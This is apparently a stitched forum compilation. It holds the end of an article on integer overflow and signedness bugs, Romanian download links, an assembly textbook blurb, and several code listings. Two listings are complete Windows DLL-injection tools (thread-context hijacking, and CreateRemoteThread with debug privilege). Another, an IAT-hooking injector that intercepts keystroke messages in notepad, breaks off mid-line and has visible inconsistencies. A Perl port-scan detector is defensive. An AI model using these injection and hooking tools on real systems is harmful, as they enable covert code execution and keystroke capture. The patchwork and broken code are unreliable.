the (out + size1) dest parameter in the second memcpy call allows us to get to any location in memory). These bugs can be exploited in exactly the same way as regular signedness bugs and have the same problems associated with them - i.e. negative values translate to huge positive values, which can easily cause segfaults. --[ 4 Real world examples There are many real world applications containing integer overflows and signedness bugs, particularly network daemons and, frequently, in operating system kernels. ----[ 4.1 Integer overflows This (non-exploitable) example was taken from a security module for linux. This code runs in the kernel context: int rsbac_acl_sys_group(enum rsbac_acl_group_syscall_type_t call, union rsbac_acl_group_syscall_arg_t arg) { ... switch(call) { case ACLGS_get_group_members: if( (arg.get_group_members.maxnum <= 0) /* [A] */ || !arg.get_group_members.group ) { ... rsbac_uid_t * user_array; rsbac_time_t * ttl_array; user_array = vmalloc(sizeof(*user_array) * arg.get_group_members.maxnum); /* [B] */ if(!user_array) return -RSBAC_ENOMEM; ttl_array = vmalloc(sizeof(*ttl_array) * arg.get_group_members.maxnum); /* [C] */ if(!ttl_array) { vfree(user_array); return -RSBAC_ENOMEM; } err = rsbac_acl_get_group_members(arg.get_group_members.group, user_array, ttl_array, arg.get_group_members.max num); ... } In this example, the bounds checking at [A] is not sufficient to prevent the integer overflows at [B] and [C]. By passing a high enough (i.e. greater than 0xffffffff / 4) value for arg.get_group_members.maxnum, we can cause the multiplications at [B] and [C] to overflow and force the buffers ttl_array and user_array to be smaller than the application expects. Since rsbac_acl_get_group_members copies user controlled data to these buffers, it is possible to write past the end of the user_array and ttl_array buffers. In this case, the application used vmalloc() to allocate the buffers, so an attempt to write past the end of the buffers will simply raise an error, so it cannot be exploited. Even so, it provides an example of what these bugs can look like in real code. Another example of a recent real world integer overflow vulnerability was the problem in the XDR RPC library (discovered by ISS X-Force). In this case, user supplied data was used in the calculation of the size of a dynamically allocated buffer which was filled with user supplied data. The vulnerable code was this: bool_t xdr_array (xdrs, addrp, sizep, maxsize, elsize, elproc) XDR *xdrs; caddr_t *addrp; /* array pointer */ u_int *sizep; /* number of elements */ u_int maxsize; /* max numberof elements */ u_int elsize; /* size in bytes of each element */ xdrproc_t elproc; /* xdr routine to handle each element */ { u_int i; caddr_t target = *addrp; u_int c; /* the actual element count */ bool_t stat = TRUE; u_int nodesize; ... c = *sizep; if ((c > maxsize) && (xdrs->x_op != XDR_FREE)) { return FALSE; } nodesize = c * elsize; /* [1] */ ... *addrp = target = mem_alloc (nodesize); /* [2] */ ... for (i = 0; (i < c) && stat; i++) { stat = (*elproc) (xdrs, target, LASTUNSIGNED); /* [3] */ target += elsize; } As you can see, by supplying large values for elsize and c (sizep), it was possible to cause the multiplication at [1] to overflow and cause nodesize to be much smaller than the application expected. Since nodesize was then used to allocate a buffer at [2], the buffer could be mis-sized leading to a heap overflow at [3]. For more information on this hole, see the CERT advisory listed in the appendix. ----[ 4.2 Signedness bugs Recently, several signedness bugs were brought to light in the freebsd kernel. These allowed large portions of kernel memory to be read by passing negative length paramters to various syscalls. The getpeername(2) function had such a problem and looked like this: static int getpeername1(p, uap, compat) struct proc *p; register struct getpeername_args /* { int fdes; caddr_t asa; int *alen; } */ *uap; int compat; { struct file *fp; register struct socket *so; struct sockaddr *sa; int len, error; ... error = copyin((caddr_t)uap->alen, (caddr_t)&len, sizeof (len)); if (error) { fdrop(fp, p); return (error); } ... len = MIN(len, sa->sa_len); /* [1] */ error = copyout(sa, (caddr_t)uap->asa, (u_int)len); if (error) goto bad; gotnothing: error = copyout((caddr_t)&len, (caddr_t)uap->alen, sizeof (len)); bad: if (sa) FREE(sa, M_SONAME); fdrop(fp, p); return (error); } This is a classic example of a signedness bug - the check at [1] did not take into account the fact that len could be negative, in which case the MIN macro would always return len. When this negative len parameter was passed to copyout, it was interpretted as a huge positive integer which caused copyout to copy up to 4GB of kernel memory to user space. --[ Conclusion Integer overflows can be extremely dangerous, partly because it is impossible to detect them after they have happened. If an integer overflow takes place, the application cannot know that the calculation it has performed is incorrect, and it will continue under the assumption that it is. Even though they can be difficult to exploit, and frequently cannot be exploited at all, they can cause unepected behaviour, which is never a good thing in a secure system. --[ Appendix CERT advisory on the XDR bug: http://www.cert.org/advisories/CA-2002-25.html FreeBSD advisory: http://online.securityfocus.com/advisories/4407 |=[ EOF ]=---------------------------------------------------------------=|
-
Este pe scurt, in limba romana: http://www.mikroe.com/ro/product/books/PICbook/4_Poglavlje.htm Download .doc: http://rapidshare.com/files/405158993/Introducere_ASM.doc
-
Welcome to my PC Assembly Page I taught Computer Science at the University of Central Oklahoma for 10 years. During this time I taught an introductory course in PC Assembly Language programming. I grew frustrated at teaching 16-bit real mode programming and decided to change to 32-bit protected mode. However, I soon ran into a problem. I could not find a textbook that covered 32-bit protected mode assembly programming! So, I decided to write my own. I also did not want students to have to go out and buy expensive software for the course. I decided to base the course on the free NASM (Netwide Assembler) and the free GNU gcc compiler (however, any 32-bit C compiler would work). Another advantage of these choices was that students could use Windows, Linux or FreeBSD to develop on. (In fact, I use Linux for my main development platform.) Over one summer I wrote the bulk of this textbook and developed the examples using LaTeX. I made a feeble attempt to get the book published and then decided to publish it myself online for free. Why? To return something back to the developer community. I have used many open source products and wanted to make a modest contribution of my own. PC Assembly Tutorial The tutorial has extensive coverage of interfacing assembly and C code and so might be of interest to C programmers who want to learn about how C works under the hood. All the examples use the free NASM (Netwide) assembler. The tutorial only covers programming under 32-bit protected mode and requires a 32-bit protected mode compiler. I have example code files for: DJGPP, Borland, Microsoft, Open Watcom and Linux C compilers. The examples in the text of the tutorial are for DJGPP only, but how to interface with the other compilers is discussed as well. The example files also include macros that allow easy input/output and debugging (register dumps, memory dumps, coprocessor dumps and stack dumps). If you plan on running the examples in the tutorial, you must download the appropriate example code file. It contains support files used by the examples in the tutorial (such as asm_io.inc). Table of Contents 1. Introduction 2. Basic Assembly Language 3. Bit Operations 4. Subprograms 5. Arrays 6. Floating Point 7. Structures and C++ Source: PC Assembly Language Download: http://www.drpaulcarter.com/pcasm/pcasm-book-pdf.zip Backup: http://rapidshare.com/files/405157917/pcasm-book.pdf
-
E Mozart camuflat.
-
/****************************************************************************** kCtxInject.cpp : Proof of concept for Get/SetThreadContext remote code running method. Refer to the Hackademy Journal (Internation Premium Edition) issue #1 page 17 for more information (http://premium.thehackademy.net) ***************************************************************************** Author : Kdm (Kodmaker@syshell.org) WebSite : http://www.syshell.org Downloaded from : http://premium.thehackademy.net *****************************************************************************/ #include "stdafx.h" #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <Tlhelp32.h> typedef HANDLE (WINAPI* pOpenThread)(DWORD ,BOOL,DWORD); void ShowLastError() { LPVOID lpMsgBuf; FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language (LPTSTR) &lpMsgBuf, 0, NULL ); // Process any inserts in lpMsgBuf. // ... // Display the string. MessageBox( NULL, (LPCTSTR)lpMsgBuf, "Error", MB_OK | MB_ICONINFORMATION ); // Free the buffer. LocalFree( lpMsgBuf ); } void Die(char* msg) { printf("%s\n"); system("pause"); exit(0); } // OutputString : Send a formatted string to debugger output void OutputString(char* frmstr,...) { char buf[1024*2]; va_list vargs; va_start(vargs, frmstr); wvsprintfA(buf, frmstr, vargs); va_end(vargs); OutputDebugString((char*)buf); return; } int WakeUpCurrentProcess(DWORD pid) { HANDLE hSnap, hThread; DWORD dPID=pid; THREADENTRY32 ThEnt = {0}; pOpenThread fOpenThread; fOpenThread = (pOpenThread) GetProcAddress(GetModuleHandle("kernel32.dll"),"OpenThread"); if(!fOpenThread) { OutputDebugString("!OpenThread\n"); return 0; } ThEnt.dwSize = sizeof(THREADENTRY32); hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dPID); if(hSnap == INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot ERROR\n"); return 0; } if (Thread32First(hSnap, &ThEnt)) { do { if (ThEnt.th32OwnerProcessID == dPID) { printf( "\nTID\t\t%d\n", ThEnt.th32ThreadID); printf( "Owner PID\t%d\n", ThEnt.th32OwnerProcessID); printf( "Delta Priority\t%d\n", ThEnt.tpDeltaPri); printf( "Base Priority\t%d\n", ThEnt.tpBasePri); hThread = fOpenThread(THREAD_SUSPEND_RESUME, FALSE, ThEnt.th32ThreadID); if(hThread) { printf("Handle ok\n"); ResumeThread(hThread); } } } while (Thread32Next(hSnap, &ThEnt)); } return 1; } inline void InsertByte(HANDLE hProcess, DWORD Addr, unsigned char byte) { //sizeof(unsigned char) if(!WriteProcessMemory(hProcess, (void*)Addr, &byte, 1, NULL)) { printf("byte %d", byte); Die("cannot be injected\n"); } } inline void InsertDword(HANDLE hProcess, DWORD Addr, DWORD dWord) { //sizeof(DWORD) if(!WriteProcessMemory(hProcess, (void*)Addr, &dWord, 4, NULL)) { printf("dword %d", dWord); Die("cannot be injected\n"); } } /* InjectDll : injects a dll into process whose handle is given in 1st param. This procedure also needs a handle for a thread that will be hijacked to run injected code. This code will load the dll whose path is in 4th argument. */ void InjectDll(HANDLE hProcess, HANDLE hThread, char* DllPath) { CONTEXT ctx; // context structure // beware of pointers fuck (use dword instead of dword* and casts) : DWORD Code = (DWORD) NULL; // base address for allocated memory DWORD DllAddr = (DWORD) NULL; // address of injected dll path in target process DWORD FuncAddr= (DWORD) NULL; // address of the function to trigger once injected int i; // loop counter // [x] 1st step : thread suspension (increases thread suspension count by one) printf("Suspending target thread... "); if(SuspendThread(hThread)==0xFFFFFFFF) { Die("FAILED\n"); // suspend thread } printf("OK\n"); // [x] step 2 : code injection // get current thread context printf("Retrieving thread context... "); ctx.ContextFlags = CONTEXT_FULL; // require full context if(!GetThreadContext(hThread, &ctx)) { Die("FAILED\n"); } printf("OK\n"); // Allocate space for code (1 memory page) printf("Allocating space for code injection... "); Code = (DWORD) VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(!Code) Die("FAILED\n"); printf("OK\n"); // Inject Dll Path into target process printf("Injecting Dll path ('%s')... ", DllPath); DllAddr = Code; // keep track of dll path in remote process if(!WriteProcessMemory(hProcess, (void*)Code, DllPath, strlen(DllPath)+1, NULL)) Die("FAILED\n"); Code += (strlen(DllPath)+1)+1+100; // jump to next free byte after string+'\0' printf("OK\n", DllPath); // Start to forge code : printf("Injecting code... "); InsertByte (hProcess, Code+0, 0x9c); // pushfd InsertByte (hProcess, Code+1, 0x60); // pushad ("push all dword", push all registers) InsertByte (hProcess, Code+2, 0x68); // push ... InsertDword(hProcess, Code+3, (DWORD)DllAddr); // ... @Dll_Path // call LoadLibraryA (the DWORD for a call or a jmp is ((to)-(from)-5)) InsertByte (hProcess, Code+7, 0xe8); // call ... FuncAddr = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); //printf("LoadLibraryA found at 0x%X\n", FuncAddr); InsertDword(hProcess, Code+8, FuncAddr-(Code+8-1)-5); // ... LoadLibraryA InsertByte (hProcess, Code+12, 0x61); // popad InsertByte (hProcess, Code+13, 0x9d); // popfd ("push all dword", push all registers) InsertByte (hProcess, Code+14, 0xe9); // jmp to old EIP InsertDword(hProcess, Code+15, ctx.Eip - (Code+15-1+5)); // destination - src - 5 printf("OK\n"); //[x] step 3 : run code printf("Executing code into target process space... "); ctx.Eip = Code; SetThreadContext(hThread, &ctx); // multiple calls to ResumeThread in order to decrease thread's suspend count // so when it reaches 0, the thread is *truly* resumed for(i=0; i<5; i++) ResumeThread(hThread); printf("OK\n"); } void SpawnProcessAndInjectDll(char* ProcessPath, char* DllPath) { STARTUPINFO si; PROCESS_INFORMATION pi; DWORD CreationMode = CREATE_SUSPENDED; int ret; printf("Spawning process '%s'... ", ProcessPath); memset(&si, 0, sizeof(si)); si.cb = sizeof(STARTUPINFO); ret = CreateProcess(ProcessPath, 0, NULL, NULL, 0, CreationMode, NULL, NULL, &si, &pi); if(!ret) { Die("FAILED\n"); ShowLastError(); } printf("OK, it has pid %d\n", pi.dwProcessId); InjectDll(pi.hProcess, pi.hThread, DllPath); } int main(int argc, char* argv[]) { char dllpath[] = "c:\\kMsgBoxDll.dll"; SpawnProcessAndInjectDll("c:\\windows\\system32\\calc.exe", dllpath); printf("\n"); system("pause"); return 0; }
-
// inject.cpp : Designed to inject a DLL into another process space // By Kdm (kodmaker@netcourrier.com) // #include <stdio.h> #include <string.h> #include <stdlib.h> #include <malloc.h> #include <windows.h> #include <tlhelp32.h> // CreateToolhelp32Snapshot, etc... #define DIE 1 #define MAX_SIZE 4096 /* For runtime injection */ /******************************************************************/ /*///////////////////////////////////////////////////////////////// //////////////Process Information Functions////////////////////////// /////////////////////////////////////////////////////////////////*/ int GetPidByName(char* nom) { HINSTANCE hLib; PROCESSENTRY32 PEntry; HANDLE hTool32; //Functions types : HANDLE (WINAPI *pCreateToolhelp32Snapshot)(DWORD,DWORD); BOOL (WINAPI *pProcess32First)(HANDLE,LPPROCESSENTRY32); BOOL (WINAPI *pProcess32Next)(HANDLE,LPPROCESSENTRY32); hLib = LoadLibrary("Kernel32.DLL"); //Functions addresses : pCreateToolhelp32Snapshot=(HANDLE(WINAPI *)(DWORD,DWORD)) GetProcAddress( hLib,"CreateToolhelp32Snapshot"); pProcess32First=(BOOL(WINAPI *)(HANDLE,LPPROCESSENTRY32))GetProcAddress( hLib, "Process32First" ); pProcess32Next=(BOOL(WINAPI *)(HANDLE,LPPROCESSENTRY32))GetProcAddress( hLib, "Process32Next" ); PEntry.dwSize = sizeof(PROCESSENTRY32); //Set Size of structure before use hTool32 = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //Create SnapShot pProcess32First(hTool32, &PEntry); //Get first process if(!strcmp(PEntry.szExeFile,nom)) return PEntry.th32ProcessID; //If correct, return Pid. while( pProcess32Next(hTool32,&PEntry) ) if(!strcmp(PEntry.szExeFile,nom)) return PEntry.th32ProcessID; //If correct, return Pid. FreeLibrary(hLib); return 0; } /******************************************************************/ //usage : /* 0 1 2 3 4 5 inject.exe <process_name/path> <dll_path> --create / --runtime --resolve --force inject.exe "C:\Program Files\Internet Explorer\IEXPLORE.EXE" C:\IAThijackDLL.dll --create */ char usage[]= "kInject.exe [process path/Pid] [dll path] [--create / --runtime] [--resolve] [--force]\n" "--create : program will create the process before injecting\n" "--runtime : inject already existing process\n" "--resolve : get process id from executable name\n" "--force : load SeDebugPrivilege to break into target process\n"; // Error handling routine void DispError(char *message, int die) { printf("\n%s\n", message); getchar(); if(die) ExitProcess(0); return; } /*///////////////////////////////////////////////////////////////// //////////////INJECTION CREATE REMOTETHREAD//////////////////////// /////////////////////////////////////////////////////////////////*/ //Injects DLLFile into a process identified by its handle (hModule) int InjectDll(HANDLE hModule, char *DLLFile) { //char DLLFile[]="C:\\cInjectedDll.dll"; int LenWrite = strlen(DLLFile) + 1; char * AllocMem = (char *) VirtualAllocEx(hModule,NULL, LenWrite, MEM_COMMIT,PAGE_READWRITE); //allocation pour WriteProcessMemory WriteProcessMemory(hModule, AllocMem , DLLFile, LenWrite, NULL); //PTHREAD_START_ROUTINE Injector = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); LPTHREAD_START_ROUTINE Injector = ( LPTHREAD_START_ROUTINE ) GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); if(!Injector) DispError("[!] Error while getting LoadLibraryA address.",DIE); HANDLE hThread = CreateRemoteThread(hModule, NULL, 0, Injector, (void *) AllocMem, 0, NULL); if(!hThread) DispError("[!] Cannot create thread.",DIE); DWORD Result = WaitForSingleObject(hThread, 10*1000); //Time out : 10 secondes if(Result==WAIT_ABANDONED || Result==WAIT_TIMEOUT || Result==WAIT_FAILED) DispError("[!] Thread TIME OUT.",DIE); Sleep(1000); /*VirtualFreeEx(hModule, (void *) AllocMem, 0, MEM_RELEASE); if(hThread!=NULL) CloseHandle(hThread);*/ return 1; } //SE_DEBUG_NAME int LoadPrivilege() { HANDLE hToken; LUID Val; TOKEN_PRIVILEGES tp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return(GetLastError()); if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Val)) return(GetLastError()); tp.PrivilegeCount = 1; tp.Privileges[0].Luid = Val; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL)) return(GetLastError()); CloseHandle(hToken); return 1; } /* ******************************** */ /* inject.exe "C:\Program Files\Internet Explorer\IEXPLORE.EXE" C:\IAThijackDLL.dll --runtime inject.exe 3284 C:\IAThijackDLL.dll --runtime // inject pid 3284 inject.exe iexplorer.exe C:\IAThijackDLL.dll --runtime --resolve // inject pid 3284 */ int main(int argc, char* argv[]) { DWORD ProcPid=0; printf(" ** Running kInject v1.0 by Kdm (kodmaker@netcourrier.com) **\n\n"); if(argc < 3 ) { DispError(usage, 0); return 0; } //Debug privilege asked ? if((argc>4 && !strcmp(argv[5],"--force")) || argc>3 && !strcmp(argv[4],"--force")) { //triggers debug privilege printf("* Triggering debug privilege...\n"); LoadPrivilege(/*SE_DEBUG_NAME*/); } // Run and inject process if(strcmp(argv[3], "--create")==0 || strcmp(argv[3], "-c")==0) { PROCESS_INFORMATION pi; STARTUPINFO si; memset(&si, 0, sizeof(si)); si.cb = sizeof(si); //si.wShowWindow = SW_HIDE; //"C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE" printf("Creating process %s...", argv[1]); if(!CreateProcess(NULL,argv[1],NULL, NULL, true, /*CREATE_SUSPENDED*/0, NULL, NULL,&si, &pi)) { DispError("[!] CreateProcess failed",DIE); } printf(" OK.\nInjecting DLL %s...", argv[2]); InjectDll(pi.hProcess, argv[2]); printf(" OK\n"); getchar(); return 0; } // Inject a process that's already running if(strcmp(argv[3], "--runtime")==0 || strcmp(argv[3], "-r")==0) { //Get Process Id from exe name if(argc>3 && strcmp(argv[4],"--resolve") == 0) { ProcPid = GetPidByName(argv[1]); if(ProcPid==0) DispError("GetPidByName failed.", DIE); printf("Process %s has PID: %d\n", argv[1], ProcPid); } else { ProcPid = atol(argv[1]); } HANDLE hProc; hProc = OpenProcess(PROCESS_ALL_ACCESS, true,ProcPid); if(hProc==NULL) { printf("OpenProcess failed, triggering DebugPrivilege..."); if(LoadPrivilege()!=1) DispError("DebugPrivilege : load FAILED", DIE); printf(" OK"); } hProc = OpenProcess(PROCESS_ALL_ACCESS, true,ProcPid); if(hProc==NULL) DispError("Still can't open process. (Sure it exists ?)", DIE); printf("Injecting DLL %s in Pid: %d...", argv[2], ProcPid); InjectDll(hProc, argv[2]); printf(" OK\n"); getchar(); return 0; } printf("Unknow command parameter."); return 0; }
-
#!/usr/bin/perl use Net::RawIP; use Socket; use Term::ANSIColor qw(:constants); use Getopt::Long; use strict; ###### pour pcapinit ###### my $device = "eth0"; my $filter = ""; my $size = 1500; my $timeout = 0; #### ligne de commande #### my $temps = 100; # option par défault il est conseillé de la changé avec -d my $limite = 100; # option par défaut il est conseillé de la changé avec -n my $dump = undef; ########################### my $d = 1; my ( %ip, %tcp ) = undef; my @last = undef; my $a = undef; my $pcap = undef; my $i = undef; my $ptr_ip = undef; my $msg = undef; my $scan_type = undef; my $date = undef; ########################### GetOptions("interface=s" => \$device, "help" => \&infos, "sniff" => \$dump, "delai=s"=>\$temps,"nbr_ports=s",\$limite); ########################### print "____________________________\n"; print BOLD,"[ Detecteur de scan de THJ ]\n", RESET; print "\\___________.oOo.__________/\n\n"; ########################### $a = new Net::RawIP(); $pcap = $a -> pcapinit($device,$filter,$size,$timeout); loop $pcap,-1,\&main,\[]; sub main { my ($vide, $pkthdr, $paquet) = @_; $a -> bset(substr($paquet,linkoffset($pcap))); &ip_struct($a->get({ip=>[qw(saddr daddr)]})); &tcp_struct($a->get({tcp=>[qw(source dest ack rst syn data)]})); # possibilité d'implémenter d'autres protocoles , udp , icmp , .... # On affiche les résultats à l'écran si l'on a spécifier l'option --sniff &affiche_result() if($dump); if($ip{"saddr"} ne &my_ip($device)) { &verif_time() if($#last>0); &is_nmap(); } $d++; # Compte le nombre de paquets reçut } ### Création des structures IP et TCP ### sub ip_struct { # inet_ntoa() va nous permettre de remettre en forme l'adresse ip. # network to ascii $ip{"saddr"} = inet_ntoa(pack("N",shift(@_))); $ip{"daddr"} = inet_ntoa(pack("N",shift(@_))); } sub tcp_struct { $tcp{"source"} = shift(@_); $tcp{"dest"} = shift(@_); $tcp{"ack"} = shift(@_); $tcp{"rst"} = shift(@_); $tcp{"syn"} = shift(@_); $tcp{"data"} = shift(@_); # suppression des caractères suceptibles de faire planter le term $tcp{"data"} =~ s/[^\w:\.\(\)\[\]]//g; } ### sub is_nmap { if($tcp{"syn"} == 1 && $tcp{"ack"} == 0 && $tcp{"rst"} == 0) { # on regarde si l'ip source nous a deja scanné if(&compare_ip($ip{"saddr"})==0) { $last[$ptr_ip+1]++; # On incrémente le compteur de ports } else { # Nouvelle ip if($#last==0) { $last[0] = $ip{"saddr"}; $last[1] = 1; # compte les ports scannés $last[2] = 1; # permet de differencier les scans $last[3] = time; } else { $last[$#last+1] = $ip{"saddr"}; $last[$#last+1] = 1; $last[$#last+1] = 1; # 1 == tcp_connect() $last[$#last+1] = time; } } } elsif($tcp{"syn"} == 0 &&$tcp{"ack"} == 0 && $tcp{"rst"} == 1 && &compare_ip($ip{"saddr"})== 0 ) { # On est dans un syn stealth scan $last[$ptr_ip+2] = 0; } } ### sub compare_ip { $ptr_ip = 0; for($i=0;$i<$#last+1;$i+=4) { if($last[$i] eq $_[0]) { # on renvoit la position de l'ip qui nous # scan pour incrémenter les valeurs correspondantes. $ptr_ip = $i; return 0; } } return 1; } ### sub logscan # renvoit simplement les résultats vers un fichier { open(FILE,">>.scandetect"); print FILE @_; print @_; close(FILE); } ### sub infos # --help { printf("$0 : Détecteur de scan THJ\n\nsyntaxe : -i [--interface] : interface à ecouter -s [--sniff] : affiche les détails pour chaque paquets -d [--delai] : Durée de validité du scan -n [--nbr_ports] : Nbr de ports définissant le scan -h [--help] : print this help\n\n"); exit; } ### sub affiche_result { # à modifier selon ce que vous souhaitez afficher sur les l'écran ... print BOLD,$ip{"saddr"},RESET; print "["; print RED,$tcp{"source"},RESET; print "] -> "; print BOLD,$ip{"daddr"},RESET; print "["; print GREEN,$tcp{"dest"},RESET; print "]\t"; print RED,"SYN\t",RESET if($tcp{"syn"}==1); print RED,"ACK\t",RESET if($tcp{"ack"}==1); print RED,"RST\t",RESET if($tcp{"rst"}==1); print "\n"; } ### sub verif_time { # fonction qui permet de vérifier que les ip # du tableau @last sont dans les délais d'un scan for($i=0;$i<$#last;$i+=4) { if((time - $last[$i+3])>$temps) { # Le temps d'inactivité est supérieur au délai # alors on vérifie si le nombres de ports scannés # est supérieur à la limite puis on sauve les résultats. if($last[$i+2]==0) { $scan_type = "syn stealth (-sS)"; } else { $scan_type = "tcp_connect (-sT)"; } $date = &heure_du_scan(); $msg = "Scan '$scan_type' effectué à '$date' par $last[$i]\n" ; #nombre de ports scanés &logscan($msg) if($last[$i+1]>$limite); # On efface les informations relatives à cette ip splice(@last,$i,4,()); } } } ### sub heure_du_scan { my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); my $date = "$hour h $min min $sec sec"; return $date; } ### sub my_ip # important pour ne pas prendre loggué nos propres scans { for(qx/ifconfig $ARGV[0]/) { if (/(?:adr|addr)?:\d{1,3}\.){3}\d{1,3})/) { # on renvoit notre adresse ip return $1; } } } ### EOF ###
-
// InjHookTHM.c pour The Hackademy Manuel #10 (auteur: Carib) #include <stdio.h> #include <windows.h> #include <tlhelp32.h> #define SIZE_HOOKFUNCTION 4096 #define SIZE_RPLFUNCTION 4096 typedef HMODULE (WINAPI *pfGetModuleHandle)(LPCTSTR); typedef FARPROC (WINAPI *pfGetProcAddress)(HMODULE, LPCSTR); typedef BOOL (WINAPI *pfVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD); typedef INT (WINAPI *pfMessageBox)(HWND, LPCSTR, LPCTSTR, UINT); typedef LONG (WINAPI *pfDispatchMessage)(CONST MSG *lpmsg); // La structure de données que nous allons injecter typedef struct { CHAR szRplFunctionModule[20]; CHAR szRplFunction[20]; PVOID pMyRplFunction; PVOID pOrigRplFunction; pfLoadLibrary _LoadLibraryA; pfGetModuleHandle _GetModuleHandleA; pfGetProcAddress _GetProcAddress; pfVirtualProtect _VirtualProtect; CHAR szUser32[20]; CHAR szMessageBoxW[20]; pfMessageBox _MessageBoxW; } INJECTEDDATA; // Obtenir un handle en accès complet d'un processus HANDLE GetProcessByName(CHAR *szProcessName) { HANDLE hProcessSnap; DWORD th32ProcessID; PROCESSENTRY32 pe32; HANDLE hProcess = NULL; BOOL bFound = FALSE; // Snapshot de tous les processus hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // Initialisation de la structure qui contiendra les infos pe32.dwSize = sizeof(PROCESSENTRY32); // Parcours de tous les processus th32ProcessID = Process32First(hProcessSnap, &pe32); while(th32ProcessID) { // Essai d'obtenir un handle en écriture sur le processus hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); if(hProcess != NULL && strcmp(pe32.szExeFile, szProcessName) == 0) { bFound = TRUE; break; } pe32.dwSize = sizeof(PROCESSENTRY32); th32ProcessID = Process32Next(hProcessSnap, &pe32); } CloseHandle(hProcessSnap); return (bFound ? hProcess: NULL); } int main(void) { HANDLE hProcess; HMODULE hKernel32; INJECTEDDATA Data, *pData; PVOID pHookFunction; DWORD dwNbBytesWritten, dwThreadID, dwExitCode; HANDLE hThread; if((hProcess = GetProcessByName("notepad.exe")) == NULL) { printf("Le processus ne peut etre ouvert\n"); return 0; } hKernel32 = LoadLibrary("kernel32.dll"); Data._GetModuleHandleA = (pfGetModuleHandle)GetProcAddress(hKernel32, "GetModuleHandleA"); Data._GetProcAddress = (pfGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress"); Data._VirtualProtect = (pfVirtualProtect)GetProcAddress(hKernel32, "VirtualProtect"); // APIs utiles au hook => APIs de user32, etc. lstrcpy(Data.szUser32, "user32.dll"); lstrcpy(Data.szMessageBoxA, "MessageBoxW"); // API hookée : DispatchMessage afin d'intercepter les messages WM_CHAR lstrcpy(Data.szRplFunctionModule, "user32.dll"); lstrcpy(Data.szRplFunction, "DispatchMessageW"); // Injection de la fonction de remplacement. L'adresse de cette fonction est stockée dans la structure de données injectée. Data.pMyRplFunction = VirtualAllocEx(hProcess, NULL, SIZE_RPLFUNCTION, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, Data.pMyRplFunction, MyDispatchMessage, SIZE_RPLFUNCTION, &dwNbBytesWritten); // Injection de la fonction qui va coordonner le hook. pHookFunction = VirtualAllocEx(hProcess, NULL, SIZE_HOOKFUNCTION, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pHookFunction, HookFunction, SIZE_HOOKFUNCTION, &dwNbBytesWritten); // Injection de la structure de données. pData = VirtualAllocEx(hProcess, NULL, sizeof(INJECTEDDATA), MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pData, &Data, sizeof(INJECTEDDATA), &dwNbBytesWritten); // Création de thread dans le processus cible. if((hThread = CreateRemoteThread(hProcess, NULL, 0, pHookFunction, pData, 0, &dwThreadID)) == NULL) { printf("Erreur lors de CreateRemoteThread\n"); return 0; } WaitForSingleObject(hThread, INFINITE); GetExitCodeThread(hThread, &dwExitCode); if(dwExitCode == 0) { printf("Erreur lors du hook\n"); return 0; } return 1; } // Fonction de hook exécutée lors de la création du thread static DWORD WINAPI HookFunction(INJECTEDDATA *pData) { // Variables automatiques placées sur la pile => pas de problème HMODULE hModule, hRplFunctionModule, hUser32; PVOID address; DWORD dwOldProtection; // Modification de pData dans la fonction de remplacement => voir plus loin *((DWORD *)((DWORD)(pData->pMyRplFunction) + 9)) = (DWORD)pData; // Récupération des adresses des APIs annexes nécessaires à la fonction de remplacement. On va pouvoir accéder à l'API MessageBoxA hUser32 = pData->_GetModuleHandleA(pData->szUser32); pData->_MessageBoxW = (pfMessageBox)pData->_GetProcAddress(hUser32, pData->szMessageBoxW); // Adresse du module exécutable cible hModule = pData->_GetModuleHandleA(NULL); // Récupération de l'adresse originale de l'API que l'on va hooker hRplFunctionModule = pData->_GetModuleHandleA(pData->szRplFunctionModule); pData->pOrigRplFunction = pData->_GetProcAddress(hRplFunctionModule, pData->szRplFunction); address = pData->pOrigRplFunction; // Recherche de l'adresse à patcher dans l'IAT du module exe __asm { mov esi, address mov eax, hModule // BaseAddress du module exe mov ebx, [eax + 3Ch] // offset e_lfanew add ebx, eax // ptr vers la struct IMAGE_NT_HEADERS32 mov ecx, [ebx + 0D8h] // RVA de l'Import Address Table add ecx, eax // adresse de l'Import Address Table mov edx, [ebx + 0DCh] // taille de l'IAT shr edx, 2 // nb d'adresses dans l'IAT NextAPI: cmp [ecx], esi je APIFound // adresse trouvée => sortie add ecx, 4 // sinon, adresse suivante dec edx // on continue tant qu'il reste des adresses jz APINotFound jmp NextAPI APINotFound: mov ecx, 0 APIFound: mov address, ecx } if(address == 0) return 0; // Modification de l'adresse dans l'IAT pData->_VirtualProtect(address, 4, PAGE_READWRITE, &dwOldProtection); *((PDWORD)address) = (DWORD)(pData->pMyRplFunction); pData->_VirtualProtect(address, 4, dwOldProtection, &dwOldProtection); return 1; } static LONG MyDispatchMessage(CONST MSG *lpmsg) { INJECTEDDATA *pData = (INJECTEDDATA 